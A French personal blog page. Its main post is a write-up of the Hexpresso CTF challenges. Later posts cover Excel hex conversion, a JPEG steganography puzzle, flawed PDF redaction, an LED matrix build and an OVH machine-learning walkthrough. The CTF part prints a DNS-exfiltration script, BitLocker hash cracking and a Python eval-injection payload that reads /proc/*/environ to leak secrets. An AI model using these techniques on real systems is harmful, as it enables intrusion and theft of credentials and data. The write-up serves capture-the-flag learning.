Hexpresso Capture.The.Fic CTF write-up

Hexpresso Capture.The.Fic CTF write-up

Du 12 décembre au 19 décembre, hexpresso organisait un CTF en ligne. Il s'agissait de se pré-qualifier pour un challenge pendant le FIC.

Sans intention de vraiment participer au challenge pendant le FIC, je voulais tout de même essayer de voir jusqu'où je pouvais aller. Je suis loin d'être un spécialiste de ce genre de choses. Je ne fais que rarement du reverse (en dehors des systèmes et des structures de fichiers).

Voici ce que j'ai fait.

  1. Étape 1 : OSINT/JS

La première étape consiste en une page web dans laquelle il faut entrer le flag :

step1

En regardant la source de la page, on trouve ceci :

<script>
  const play = () => {
    var game = new Array(
      116,
      228,
      [...]
      1385,
      1431,
      1515
    );

    const u_u = "CTF.By.HexpressoCTF.By.Hexpresso";
    const flag = document.getElementById("flag").value;

    for (i = 0; i < u_u.length; i++) {
      if (u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 != game[i]) {
        alert("NOPE");
        return;
      }
    }
    // Good j0b
    alert("WELL DONE!");
  [...]
</script>

La ligne qui nous intéresse est if (u_u.charCodeAt(i) + flag.charCodeAt(i) + i * 42 != game[i]). On connait toutes les variables. Il faut que le code du caractère du flag additionné au code du caractère de la chaine CTF.By.HexpressoCTF.By.Hexpresso, additionné à la position du caractère multiplié par 42, soit égal au tableau au début du script.

Un simple tableau Excel qui fait les opérations et on obtient le flag : 1f1bd383026a5db8145258efb869c48f

  1. Étape 2 : PCAP/DNS

On nous fourni un fichier pcap :

step2

On remarque deux flux principaux : un flux http et un flux DNS. En analysant le flux http, on constate deux requêtes et deux réponses : index.html et dnstunnel.py. C'est le second qui va nous intéresser. Voici son contenu :

#! /usr/bin/python3
# I have no idea of what I'm doing

#Because why not!
import random
import os

f = open('data.txt','rb')
data = f.read()
f.close()

print("[+] Sending %d bytes of data" % len(data))

#This is propa codaz
print("[+] Cut in pieces ... ")

def encrypt(l):
    #High quality cryptographer!
    key = random.randint(13,254)
    output = hex(key)[2:].zfill(2)
    for i in range(len(l)):
        aes = ord(l[i]) ^ key
        #my computer teacher hates me
        output += hex(aes)[2:].zfill(2)
    return output

def udp_secure_tunneling(my_secure_data):
    #Gee, I'm so bad at coding
    #if 0:
    mycmd = "host -t A %s.local.tux 172.16.42.222" % my_secure_data
    os.system(mycmd)
    #We loose packet sometimes?
    os.system("sleep 1")
    #end if

def send_data(s):
    #because I love globals
    global n
    n = n+1
    length = random.randint(4,11)
    # If we send more bytes we can recover if we loose some packets?
    redundancy = random.randint(2,16)
    chunk = data[s:s+length+redundancy].decode("utf-8")
    chunk = "%04d%s"%(s,chunk)
    print("%04d packet --> %s.local.tux" % (n,chunk))
    blob = encrypt(chunk)
    udp_secure_tunneling(blob)
    return s + length

cursor = 0
n=0
while cursor<len(data):
    cursor = send_data(cursor)

#Is it ok?

On constate que le script ouvre un fichier texte, le découpe en morceaux de taille variable et avec de la redondance, chiffre les données puis fait une requête DNS avec ces dernières. C'est la fonction encrypt qui va nous intéresser. Elle génère au hasard une clé entre 13 et 254. Elle met cette clé au début de la chaine résultante et ajoute le résultat d'un XOR entre la clé et la chaine entrée.

La première requête DNS est faite sur a191919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8. En faisant un xor entre A1 et 91919191e2cecfc6d3c0d5d4cdc0d5c8cecfd2808081f8, on obtient 0000 Congratulations!! Y.

La seconde requête DNS est faite sur a696969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0. En faisant un xor entre a6 et 96969797cfc9c8d5878786ffc9d386c2cfc286cfd286d5c986c0, on obtient 0011 ions!! You did it so f.

En continuant sur toutes les requêtes, on obtient le texte suivant : Congratulations!! You did it so far! Here is the link in base32 form: NB2HI4DTHIXS6Y3UMYXGQZLYOBZGK43TN4XGM4RPGU3TSODDME2DOZDBMNSTKYZVMU3GIMZVGI4T MOJQMM4DMMZTG42QU== [...]

En décodant la base32, on obtient le lien pour l'étape suivante : https://ctf.hexpresso.fr/5798ca47dace5c5e6d3529690c863375.

  1. Étape 3 : FORENSIC

On nous dit :

We found this USB key in the pocket of a criminal, are you able to analyze it and find his secret.

Et on nous fourni un fichier raw.

Une analyse rapide du fichier montre qu'il s'agit d'une image physique d'une clé USB. La partition dispose d'une signature bitlocker : ëX.-FVE-FS-. La clé USB est donc chiffrée. On va tenter de bruteforcer le mot de passe. Pour cela on utilise bitcracker_hash qui permet d'extraire les hash.

# /bitcracker_hash -i 76b0c868ab7397cc6a0c0a1e107e3079.raw -o .

[...]

Output file for user password attack: "./hash_user_pass.txt"

Output file for recovery password attack: "./hash_recv_pass.txt"

On peut ensuite fournir le fichier hash_user_pass.txt à John the Ripper pour qu'il tente de trouver le mot de passe :

# cat hash_user_pass.txt 
$bitlocker$0$16$6946a04b89585fea10b4817c9a3917c9$1048576$12$c0297b4057a9d50103000000$60$724b0b483ed7b6c3cef283d34830adb006f1ae732a39b2eccf84959b53a1735fb9cb2f67e88282ccf5b1a04cc0a74d84778097b2db1cb689a70bfd79
# john hash_user_pass.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
password         (?)
# john -show hash_user_pass.txt 
?:password

1 password hash cracked, 0 left

Le mot de passe est donc password.

On peut maintenant monter la clé USB. Elle ne semble contenir qu'un fichier texte nommé flag.txt. Voici son contenu.

Every Forensic investigation starts with a good bitlocker inspection.
-- @chaignc

Try Harder !

Il ne contient malheureusement pas le flag (et je dirais plutôt que ça commence par une reconstruction de RAID, mais passons). Une analyse du système de fichier NTFS révèle la présence de 5 fichiers zip effacés : f1.zip, f2.zip, f3.zip, f4.zip et fic.zip. Tous contiennent un fichier texte nommé fic.txt dont voici le contenu :

https://gist.github.com/bosal43833/3e815abc3f92e45963a8aafc8acfe411

En suivant le lien, on obtient le texte suivant :

aHR0cHM6Ly9jdGYuaGV4cHJlc3NvLmZyLzFlYTk2N2Y1MmQxYWFiMzI3ZDA4NGVmZDI0ZDA0OTU3Cg==

En décodant la base64, on obtient le lien pour l'étape suivante : https://ctf.hexpresso.fr/1ea967f52d1aab327d084efd24d04957

  1. Étape 4 : CRYPTO/RE

On nous dit :

Our RSSI was storing all his information in cleartext, but he was caught by ransomware. It's up to you to reverse this ransomware and try to decrypt the encrypted file!

Et on nous fourni un zip contenant deux fichiers : flag.txt.crypt et wanafic.

Il faut donc reverser wanafic pour déchiffrer le premier fichier. Avec ghidra, on analyse le fichier wanafic :

step4_ghidra

Parmi les différentes fonctions, on a FUN_00101220. C'est elle qui est chargée du chiffrement. Elle prend trois paramètres : le contenu du fichier à chiffrer, le nom du fichier à chiffrer et un timestamp. Avec ces éléments, elle fait un XOR pour écrire le fichier chiffré :

fputc((int)(char)(param_2[(long)((int)(char)(byte)iVar1 % (int)sVar3)] ^(byte)iVar2 ^ (byte)iVar1),__stream);

Comme c'est un XOR, il ne nous manque que le timestamp pour inverser le processus. On le trouve en regardant celui du fichier flag.txt.crypt :

# unzip 5c09555ef0576e6cee46a9ee7a841c8b.zip 
Archive:  5c09555ef0576e6cee46a9ee7a841c8b.zip
 extracting: flag.txt.crypt          
  inflating: wannafic                
# stat -c %Y flag.txt.crypt 
1576154262

À partir de là, on peut copier/coller/amender le code décompilé par ghidra. J'ai produit quelque chose comme ça :

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

void FUN_00101220(FILE *param_1,char *param_2,__time_t param_3)
{
  int iVar1;
  int iVar2;
  FILE *__stream;
  size_t sVar3;
  long in_FS_OFFSET;
  long local_10;
  char local_118 [50];

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  srand((uint)param_3);
  printf("[*] ts : %d\n",param_3);
  sprintf(local_118,"%s.crypt",param_2);
  printf("[*] Writing to %s\n",&local_118);
  __stream = fopen((char *)&local_118,"w");
  if (__stream == (FILE *)0x0) {
    printf("[!] Unable to open file.\n");
  }
  sVar3 = strlen(param_2);
  while(1) {
    iVar2 = fgetc(param_1);
    printf("in : %x --  ",iVar2);

//    if ((char)iVar2 == -1) break;
    iVar1 = rand();
    unsigned int out = (int)(char)(param_2[(long)((int)(char)(char)iVar1 % (int)sVar3)] ^ (char)iVar2 ^ (char)iVar1);
    printf("param_2[(long)((int)(char)(char)iVar1 % (int)sVar3)] : %x --  ",param_2[(long)((int)(char)(char)iVar1 % (int)sVar3)]);
    printf("iVar2 (get) : %x -- ",(char)iVar2);
    printf("iVar1 : %x -- ",(char)iVar1);
    printf("out : %x\n",out);
    fputc(out,__stream);
  }
  fclose(__stream);
  printf("[*] Done !\n\n",&local_118);
  return;
}

int main( int argc, char **argv ) 
{
  if (argc < 2) {
    printf("Usage: ./wannafic <file> ...\n");
    return(1);
  }
  FILE *__stream;
  time_t tVar1;

  printf("[*] Encrypting %s\n",argv[1]);
  __stream = fopen(argv[1],"r");
  if (__stream == (FILE *)0x0) {
    printf("[!] Unable to open file.\n");
  }
    tVar1 = 1576154262;

  FUN_00101220(__stream,argv[1],tVar1);
  fclose(__stream);

  return 0;
}

On renomme le fichier flag.txt.crypt en flag.txt et en exécutant notre code compilé, on obtient un fichier texte dont voici le contenu :

step4_flag

Et on a donc le lien vers l'étape suivante https://ctf.hexpresso.fr/6bd1d24ab3aa08784f868a533bcdc215

  1. Étape 5 : PYJAIL/PY

step5

En cliquant sur le lien some tips here, on télécharge un fichier nommé for_the_players.zip. Lorsqu'on le décompresse on obtient deux certificats et un fichier texte :

socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0

Lorsqu'on lance la commande, on obtient un prompt et, après avoir envoyé quelques caractères, Bad flag ! :

# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>aaa
Bad flag !

En expérimentant un peu, on finit par taper un ' et on obtient ça :

# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>'
Traceback (most recent call last):
  File "./main.py", line 28, in <module>
    main()
  File "./main.py", line 21, in main
    if flag == get_input():
  File "./main.py", line 15, in get_input
    return eval(f"""'{input(">")}'""")
  File "<string>", line 1
    '''
      ^
SyntaxError: EOF while scanning triple-quoted string literal

On a donc une partie du code source. La ligne qui nous intéresse est return eval(f"""'{input(">")}'"""). Après de multiples essais, on se rend compte qu'on peut mettre quelque chose comme ça ' + cmd +' et que la commande sera évaluée comme du code python. On peut ainsi commencer par récupérer le code source de main.py :

# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>' + str(eval(compile("import os\nos.system(\'cat main.py\')", "<stdin>", "exec"))) + '
#!/usr/bin/env python
import os

SUCCESS = "Good flag !"
FAIL = "Bad flag !"

def get_flag():
    flag = os.environ.get("FLAG", "FLAG{LOCAL_FLAG}")
    os.environ.update({"FLAG": ""})
    return flag

def get_input():
    return eval(f"""'{input(">")}'""")

def main():
    flag = get_flag()

    if flag == get_input():
        print(SUCCESS)
    else:
        print(FAIL)

if __name__ == "__main__":
    main()
Bad flag !

Le flag est stocké dans une variable d'environnement, mais elle est aussitôt écrasée. Il faut trouver un moyen d'y accéder. Après un grand nombre de requêtes sur le serveur et quelques (heures de) recherches, j'ai découvert que les variables d'environnement sont aussi accessibles par le /proc J'ai fini par faire ça :

# socat stdio openssl-connect:ctf.hexpresso.fr:2323,cert=client.pem,cafile=server.crt,verify=0
>' + str(eval(compile("print(os.system(\'cat /proc/*/environ\'))", "<stdin>", "exec"))) + '
cat: can't open '/proc/1/environ': Permission denied
cat: can't open '/proc/5112/environ': Permission denied
[...]]FLAG=Next step : http://c4ffddcc437c5df3e6d681e7cafab510.hexpresso.fr[...]
Bad flag !

Et on obtient le lien vers l'étape suivante : http://c4ffddcc437c5df3e6d681e7cafab510.hexpresso.fr/

  1. Conclusion

Ça n'est pas mon genre d'abandonner, mais, faute de temps (la famille et les clients), et aussi, il faut bien l'avouer, de compétences, je me suis arrêté là.

Je suis tout de même arrivé jusqu'a l'étape 6 (sur 8) et je suis dans les 20/25% qui sont arrivés jusque là. Je considère que c'est un résultat assez honorable pour l'expert généraliste que je suis.

Même si dans ce write-up, tout semble parfois simple, logique et couler de source, je me suis bien cassé la tête et les étapes 4 et 5 ont été assez chronophages. Malgré tout, j'ai surtout beaucoup appris, c'était en fin de compte, très intéressant.

Parce que je sais que ça n'est pas simple, je félicite les équipes qui sont arrivées au bout et bien évidement la team hexpresso !

Conversion hexadécimal décimal de grands nombres dans Excel

Conversion hexadécimal décimal de grands nombres dans Excel

J'avais besoin de convertir un grand nombre de grandes valeurs hexadécimales en décimal. Je me suis dit que ça irait vite avec Excel. En effet, Excel dispose de la fonction HEXDEC :

=HEXDEC(nombre)

Cela fonctionne très bien tant que l'argument ne dépasse pas 10 caractères, soit 40 bits. Et le bit de poids fort correspond au signe. Il ne reste que 39 bits pour la valeur. Ainsi on ne peut convertir d'hexadécimal en décimal un nombre supérieur à 0x7FFFFFFFFF soit 549 755 813 887. Or j'avais besoin de convertir des nombres de qui aillaient jusqu'à 0xFFFFFFFFFF, soit 40 bits sans signe. De plus ils étaient de la forme 0x.... J'ai donc fait une formule que permet de gérer cela :

=SI(NBCAR(A1)<12;HEXDEC(DROITE(A1;NBCAR(A1)-2));SI(NBCAR(A1)=12;(HEXDEC(DROITE(GAUCHE(A1;4);2))*4294967296+HEXDEC(DROITE(A1;8)));0))

En pseudo code, ça fait quelque chose comme cela :

IF (NBCAR(A1)<12) 
  supprimer les 2 premiers caractères ("0x")
  convertir en hexadécimal
ELSE IF (NBCAR(A1) == 12)
  pour les 4 premiers caractères : 
    supprimer les 2 premiers caractères ("0x")
    convertir en hexadécimal
    multiplier par 4294967296
  pour les 8 autres caractères :
    convertir en hexadécimal
  additionner les deux résultats

Ainsi on peut convertir d'hexadécimal en décimal des nombres de 40 bits. En extrapolant la formule, il devient possible de convertir des nombres encore plus grands.

Des données cachées dans une image jpeg - mini challenge forensique

Des données cachées dans une image jpeg - mini challenge forensique

Mi-aout, j'ai publié le tweet suivant :

J'ai caché des données (un flag au format FLAG{[MD5]}) dans ce fichier : https://lemnet.fr/img/lena_std.jpg

lena

Il s'agit d'une photo de Lena Söderberg, très utilisée comme image de test dans le traitement d'images.

L'idée étant de retrouver le flag.

Indice n°1
 Structure d'un fichier JPG et commentaire Les fichiers jpg sont toujours structurés de la même manière. Ils contiennent une suite de segments. Chaque segment commence par un marqueur. Les marqueurs commencent tous par l'octet 0xFF suivi d'un autre octet qui indique le type de marqueur. Certains marqueurs ne contiennent que ces deux octets. Les autres sont suivis de deux octets qui indiquent la taille des données qui suivent (taille comprise).
Voici un tableau reprenant les principaux marqueurs :

Nom courtMarqueurDonnéesNomCommentaires
SOI0xFF 0xD8-Start Of ImageDébut du fichier
SOF00xFF 0xC0variableStart Of Frame (baseline DCT)Début d’une image codée par progressive DCT
SOF20xFF 0xC2variableStart Of Frame (progressive DCT)Début d’une image codée par progressive DCT
DHT0xFF 0xC4variableDefine Huffman Table(s)Table(s) de Huffman
DQT0xFF 0xDBvariableDefine Quantization Table(s)Table(s) de quantification
SOS0xFF 0xDAvariableStart Of ScanCommence un parcours de haut en bas de l’image
APPn0xFF 0xEnvariableApplication-specificInformations complémentaires (EXIF par exemple)
COM0xFF 0xFEvariableCommentCommentaire
EOI0xFF 0xD9-End Of ImageFin du fichier

On remarque un commentaire dont le marqueur est 0xFF 0xFE. Dans mon image, il est présent dès le début du fichier à l'offset 2:

ff d8 ff fe 00 3c 1f 8b 08 00 6d a4 52 5d 00 ff
05 40 b1 0d 80 00 0c 7a 09 16 9a 3e e1 a2 8b 4f
58 61 35 fe de 9c f7 71 7d 30 4b 80 e8 f7 69 76
14 8b 13 a1 ac 8c f0 2f 76 4f 48 eb 26 00 00 00
ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09
...
Les octets 0x00 0x3C, à l'offset 4, indiquent une taille de 60 octets. En retirant les deux octets de la taille, on obtient 58 octets et on peut extraire le commentaire :

1f 8b 08 00 6d a4 52 5d 00 ff 05 40 b1 0d 80 00 0c 7a 09 16 9a 3e e1 a2 8b 4f 58 61 35 fe de 9c f7 71 7d 30 4b 80 e8 f7 69 76 14 8b 13 a1 ac 8c f0 2f 76 4f 48 eb 26 00 00 00

Indice n°2
 Gzip C'est un algorithme de compression très largement rependu, notamment dans les échanges de données entre les navigateurs et les serveurs Web. On remarque que le commentaire commence par les octets 1f 8b. Il s'agit de la signature d'un fichier Gzip.
On peut donc tenter de décompresser le commentaire avec cet algorithme et on obtient :

SYNT{0q1760061qpn919r6rq61or607q6ro60}

Cela commence à ressembler au format du flag que l'on recherche.

Indice n°3
 ROT13 Le ROT13 est un cas particulier du chiffre de César. Il s’agit d’un décalage de 13 caractères de chaque lettre. Son principal avantage réside dans le fait que le codage et le décodage se font exactement de la même manière. En appliquant un ROT13 sur la chaine précédente on obtient le flag :

FLAG{0d1760061dca919e6ed61be607d6eb60}

Un exemple de mauvais caviardage

Un exemple de mauvais caviardage

Dans l'un des cas que j'ai traité récemment, j'ai été confronté à un document pdf dans lequel une partie du texte avait été caviardée. Voici ce à quoi le document ressemblait :

caviardage.

Les métadonnées indiquaient que le fichier était issu de Word. Il semblerait donc que la personne en charge du caviardage avait simplement ajouté des carrés noirs au-dessus du texte qu'il voulait cacher, avant d'enregistrer le fichier en pdf directement avec Word.

Ça n'est pas du tout la bonne manière de procéder. En effet, il suffit d'ouvrir le document avec Inkscape pour voir que les carrés noirs sont des objets :

inkscape

Pour voir le texte dans son intégralité, il suffit de supprimer ces objets :

inkscape

Selon moi, pour vraiment cacher une partie du contenu, il aurait fallu deux étapes de plus. Dans un premier temps, il aurait fallu convertir le pdf dans un format de fichier réellement graphique (png ou jpg par exemple). Et dans un second temps, il aurait fallu le reconvertir en pdf.

Dataviz des prénoms masculins les plus donnés en France

J'ai fait une petite vidéo qui montre les prénoms masculins les plus donnés en France par année (de 1900 à 2017) et par département.

Je me suis appuyé sur les données de l'Insee et sur cette carte.

Voici rapidement les étapes du processus :

  • Modification de la carte pour :
    • la simplifier en supprimant tout ce qui ne m'était pas utile,
    • qu'elle intègre les prénoms,
    • qu'elle puisse être facilement modifiable,
    • qu'elle tienne compte des départements avant 1968,
  • Intégration des données dans une base de données sqlite pour qu'elles soient facilement interrogeables en python,
  • Création d'un script en python qui :
    • attribue une couleur à chaque prénom,
    • interroge la base de données,
    • pour chaque année, modifie et enregistre le fichier svg
  • Conversion des fichiers svg en png,
  • Création de la vidéo avec iMovie.

Et voilà.

Matrice 8x8 sans fil avec un teensy et un ESP8266

Matrice 8x8 sans fil avec un teensy et un ESP8266

Il y a quelques années, j'avais acheté un teensy et une matrice 8x8. J'avais également quelques ESP8266 et un module AMS1117. Tout cela devait me permettre de créer un afficheur sans fil contrôlable depuis un navigateur.

J'ai sorti mon fer à souder et j'ai assemblé le tout de la manière suivante : teensy wiring

Il ne restait plus qu'à coder mon idée d'afficheur sans fil dans l'IDE arduino.

C'est ce que j'ai fait en utilisant le phénomène de la persistance rétinienne. Il n'y a, en effet, jamais plus d'une led allumée à la fois, mais elles changent tellement rapidement que l'œil ne voit pas de clignotement :

void matrix_disp(int x, int y) {
  digitalWrite(row[x], HIGH); // on
  digitalWrite(col[y], LOW);
  digitalWrite(col[y], HIGH); // off
  digitalWrite(row[x], LOW);
}
void matrix_draw(bool m[8][8]) {
  elapsedMillis time;
  while (time < timer) {
    for (int x = 0; x < 8; x++) {
      for (int y = 0; y < 8; y++) {
        if (m[x][y] == true) matrix_disp(x, y);
      }
    }
  }
}

Après avoir réussi à faire une interface web (minimaliste) et à faire défiler un texte sur la matrice, j'ai ajouté la possibilité d'afficher l'heure, grâce au protocole NTP :

time_t ntp_gettime() {
  if (TIMEDEBUG == 1) DEBUG_SERIAL.println("ntp_gettime");
  unsigned long timestamp = 0;
  byte ntp_request[48];
  for (int i = 0; i < 48; i++) {
    ntp_request[i] = 0x00;
  }
  ntp_request[0] = 0xE3;   // LI, Version, Mode
  ntp_request[1] = 0;      // Stratum, or type of clock
  ntp_request[2] = 10;     // Polling Interval
  ntp_request[3] = 0xEC;   // Peer Clock Precision
  wifi_buffclr();
  WIFI_SERIAL.println("AT+CIPSTART=1,\"UDP\",\"fr.pool.ntp.org\",123,123");
  delay(1);
  if (WIFI_SERIAL.find("OK")) {
    wifi_buffclr();
    WIFI_SERIAL.println("AT+CIPSEND=1,48");
    delay(1);
    if (WIFI_SERIAL.find(">")) {
      wifi_buffclr();
      for (int i = 0; i < 48; i++) {
        WIFI_SERIAL.print((char)ntp_request[i]);
      }
      delay(1);
      if (WIFI_SERIAL.find("SEND OK")) {
        wifi_buffclr();
        delay(1);
        if (WIFI_SERIAL.find("+IPD,1,48:")) {
          byte result[4] = {0, 0, 0, 0};
          byte nul[32];
          WIFI_SERIAL.readBytes(nul, 32);
          WIFI_SERIAL.readBytes(result, 4);
          timestamp = 0;
          timestamp += result[0] << 24;
          timestamp += result[1] << 16;
          timestamp += result[2] << 8;
          timestamp += result[3];
          timestamp -= 2208988800; // adjusting for epoch
          timestamp += 7200;       // adjusting for GMT + 2
          timestamp += 9;          // adjusting for display delay
          if (TIMEDEBUG == 1) DEBUG_SERIAL.println(timestamp);
        }
      }
    }
  }
  wifi_buffclr();
  WIFI_SERIAL.println("AT+CIPCLOSE=1");
  delay(250);
  wifi_buffclr();
  return timestamp;
}

mais aussi le cours du bitcoin, grace à l'API coindesk :

String btc_getprice() {
  if (BTCDEBUG == 1 ) DEBUG_SERIAL.println("btc_getprice");
  String price = "0";
  String get = "GET /v1/bpi/currentprice.json HTTP/1.1\r\nHost: api.coindesk.com\r\nConnection: close\r\n";
  wifi_buffclr();
  WIFI_SERIAL.println("AT+CIPSTART=2,\"TCP\",\"api.coindesk.com\",80");
  delay(1);
  if (WIFI_SERIAL.find("OK")) {
    wifi_buffclr();
    WIFI_SERIAL.println("AT+CIPSEND=2,85");
    delay(1);
    if (WIFI_SERIAL.find(">")) {
      wifi_buffclr();
      WIFI_SERIAL.println(get);
      delay(1);
      if (WIFI_SERIAL.find("SEND OK")) {
        wifi_buffclr();
        if (WIFI_SERIAL.find("+IPD,2,") and WIFI_SERIAL.find("EUR") and WIFI_SERIAL.find("rate_float\":")) {
          price = WIFI_SERIAL.readString();
          price = price.substring(0, price.indexOf("}"));
          if (BTCDEBUG == 1 ) DEBUG_SERIAL.println("price : " + price);
          wifi_buffclr();
        }
      }
    }
  }
  WIFI_SERIAL.println("AT+CIPCLOSE=2");
  delay(250);
  wifi_buffclr();
  return price;
}

À partir de là, on peut afficher ce qu'on souhaite...

Au final, j'ai environ 1550 lignes de codes, dont l'essentiel (~1000) pour la police 5x8 :

const bool alpha[][8][5] = {
  { { 0, 0, 0, 0, 0, }, // SP 32
    { 0, 0, 0, 0, 0, },
    { 0, 0, 0, 0, 0, },
    { 0, 0, 0, 0, 0, },
    { 0, 0, 0, 0, 0, },
    { 0, 0, 0, 0, 0, },
    { 0, 0, 0, 0, 0, },
    { 0, 0, 0, 0, 0, }
  },
[...]
  { { 0, 0, 0, 0, 0, }, // a 97
    { 0, 0, 0, 0, 0, },
    { 1, 1, 1, 0, 0, },
    { 0, 0, 0, 1, 0, },
    { 0, 1, 1, 1, 0, },
    { 1, 0, 0, 1, 0, },
    { 0, 1, 1, 0, 0, },
    { 0, 0, 0, 0, 0, }
  },
  { { 1, 0, 0, 0, 0, }, // b 98
    { 1, 0, 0, 0, 0, },
    { 1, 1, 1, 0, 0, },
    { 1, 0, 0, 1, 0, },
    { 1, 0, 0, 1, 0, },
    { 1, 0, 0, 1, 0, },
    { 1, 1, 1, 0, 0, },
    { 0, 0, 0, 0, 0, }
  },
[...]
}

C'était un projet assez fun à réaliser.

Je peux maintenant dire quand il ne faut pas me déranger quand je travaille :

Mes sources sont sur github.

Machine learning avec les API prescience d'OVH et les chiffres du MNIST

Machine learning avec les API prescience d'OVH et les chiffres du MNIST

Suite à mon article intitulé Machine learning avec OVH prescience en quelques clics, je voulais tenter le même genre de choses avec les chiffres du MNIST. À l'époque, ça n'était pas possible. En effet, le nombre de colonnes était limité à 100. Aujourd'hui, ça n'est plus le cas, la limite étant maintenant de 1000 colonnes.

Pour rappel, les chiffres du MNIST est une base de données de chiffres écrits à la main. Comme iris, c'est un jeu de données très utilisé en apprentissage automatique. Elle regroupe 60000 images d'apprentissage et 10000 images de test, issues d'une base de données antérieure.

Pour me rapprocher d'un cas réel, je voulais travailler à partir des images plutôt qu'à partir du format de la base de données originale. On trouve les images au format png sur Internet, notamment ici. On obtient l'arborescence suivante :

|____testing
| |____0
| | |____[980 fichiers png]
| |____1
| | |____[1135 fichiers png]
| |____2
| | |____[1032 fichiers png]
| |____3
| | |____[1010 fichiers png]
| |____4
| | |____[982 fichiers png]
| |____5
| | |____[892 fichiers png]
| |____6
| | |____[958 fichiers png]
| |____7
| | |____[1028 fichiers png]
| |____8
| | |____[974 fichiers png]
| |____9
| | |____[1009 fichiers png]
|____training
  |____0
  | |____[5923 fichiers png]
  |____1
  | |____[6742 fichiers png]
  |____2
  | |____[5958 fichiers png]
  |____3
  | |____[6131 fichiers png]
  |____4
  | |____[5842 fichiers png]
  |____5
  | |____[5421 fichiers png]
  |____6
  | |____[5918 fichiers png]
  |____7
  | |____[6265 fichiers png]
  |____8
  | |____[5851 fichiers png]
  |____9
    |____[1009 fichiers png]

En partant des images, il faut trouver un moyen de transformer des png en fichiers csv. Les images font 28 pixels par 28 pixel et sont en niveau de gris. Il suffit d'enregistrer la valeur du niveau de gris des 784 pixels dans un fichier texte. Un petit script rapidement écrit en python fera l'affaire :

import os
from PIL import Image

txt = "label,"
for j in range (1,785):
    txt = txt + "p" + str(j) + ","
print txt[:-1]
for i in range (0,10):
    path = "./training/" + str(i)
    files = os.listdir(path)
    for f in files:
        im = Image.open(path+ "/" + f)
        txt = str(i) + ","
        for p in list(im.getdata()):
            txt = txt + str(p) + ","
        print txt[:-1]

On l'exécute pour obtenir un fichier csv à partir duquel on pourra travailler. Il contient 60001 lignes.

$ python convert.py > num.csv
$ head -n 3 num.csv && tail -n 2 -f num.csv
label,p1,p2,p3,p4,p5,p6,p7,p8,p9,p10, [...] ,p784
0,0,0,0,0,0,0,0,0,0,0, [...] ,0
0,0,0,0,0,0,0,0,0,0,0, [...] ,0
[...]
9,0,0,0,0,0,0,0,0,0,0, [...] ,0
9,0,0,0,0,0,0,0,0,0,0, [...] ,0

On peut maintenant envoyer notre fichier sur les serveurs OVH et les faire travailler dessus.

$ # <---------- Envoi du fichier ----------> 
$
$ cat parse.json
{"type":"CSV","headers":true,"separator":"comma","source_id":"num"}
$ curl -H "Authorization: Bearer xxx" -v -F input='@parse.json;type=application/json' -F input-file-1=@num.csv https://prescience-api.ai.ovh.net/ml/upload/source
*   Trying 51.68.117.117...
* TCP_NODELAY set
* Connected to prescience-api.ai.ovh.net (51.68.117.117) port 443 (#0)
[...]
*  SSL certificate verify ok.
> POST /ml/upload/source HTTP/1.1
> Host: prescience-api.ai.ovh.net
> User-Agent: curl/7.52.1
> Accept: */*
> Authorization: Bearer xxx
> Content-Length: 109580237
> Expect: 100-continue
> Content-Type: multipart/form-data; boundary=------------------------5eff60e8cafb6321
>
< HTTP/1.1 100 Continue
< HTTP/1.1 200 OK
< Content-Length: 659
< Content-Type: application/json
< Date: Fri, 15 Feb 2019 13:32:49 GMT
< X-IPLB-Instance: 24883
<
* Curl_http_done: called premature == 0
* Connection #0 to host prescience-api.ai.ovh.net left intact
{"uuid":"3e42c980-1957-4239-9301-828db9487257","status":"PENDING" [...]
$
$ # <---------- Vérification de l'envoi ---------->
$
$ curl -H "Authorization: Bearer xxx" https://prescience-api.ai.ovh.net/source/num
{"uuid":"75d03427-29d9-4606-8e20-349488ac38b2","status":"BUILT", [...]
$
$ # <---------- Préprocess ---------->
$
$ cat preprocess.json
{"nb_fold":10,"problem_type":"classification","multiclass":false,"label_id":"label","dataset_id":"dataset-num"}
$ curl -H "Authorization: Bearer xxx" -H "Content-Type:application/json" -X POST https://prescience-api.ai.ovh.net/ml/preprocess/num --data-binary "@preprocess.json"
{"uuid":"23d9a5a3-f20d-4f78-bc96-b5bf4c6533e5","status":"PENDING [...]
$
$ # <---------- Vérification du préprocess ---------->
$
$ curl -H "Authorization: Bearer xxx" https://prescience-api.ai.ovh.net/dataset/dataset-num
{"uuid":"067d0c99-df40-4232-97ce-c3fae196a12c", [...] "status":"BUILT" [...]
$
$ # <---------- Optimisation ---------->
$
$ cat optimize.json
{"scoring_metric": "accuracy","budget": 6}
$ curl -H "Authorization: Bearer xxx" -H "Content-Type:application/json" -X POST https://prescience-api.ai.ovh.net/ml/optimize/dataset-num --data-binary "@optimize.json"
{"uuid":"da274781-8360-4df1-8ee9-512b4f5386a4","status":"PENDING" [...]
$
$ # ~4/5h plus tard
$ # <---------- Vérification de l'optimisation ---------->
$
$ curl -H "Authorization: Bearer xxx" https://prescience-api.ai.ovh.net/optimization?dataset_id=dataset-num
{"metadata":[...] "status":"BUILT" [...]
$
$ # <---------- Récupération des évaluations ---------->
$
$ curl -H "Authorization: Bearer xxx" https://prescience-api.ai.ovh.net/evaluation-result?dataset_id=dataset-num
{"metadata":{"page_number":1,"total_pages":1,"elements_on_page":6,"elements_total":6,"elements_type":"EvaluationResult"},"content  [...]
$
$ # <---------- Entrainement ---------->
$ # (uuid avec l'accuracy la plus faible)
$
